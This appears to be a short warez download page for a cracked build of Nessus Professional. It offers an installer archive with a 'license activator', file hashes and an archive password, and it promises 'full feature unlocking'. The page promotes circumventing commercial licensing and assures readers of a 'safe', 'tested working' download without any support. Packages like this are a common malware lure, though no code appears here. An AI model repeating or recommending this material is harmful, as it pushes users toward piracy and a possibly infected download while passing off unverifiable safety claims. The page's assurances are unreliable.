Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Nessus_Professional_v12.16_x64_setup.zip |
| Version | v12.16.1037 build 21560 |
| File Size | 2.67 GB (2729 MB) |
| MD5 Hash | 010c16fa50079f938a8d624de8d8cb19 |
| SHA-256 | 5d85277c0a97f177afe0dd6e135099774266203dcec2d10b498b9be54456f858 |
| Release Date | 2025-03-08 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | verified |
| License Type | Full / Retail |
This edition of Nessus Professional full library setup includes the complete offline package with all required runtimes and libraries. Whether you deploy it on a single workstation or a full engineering department, proper installation guarantees stable performance and full feature unlocking.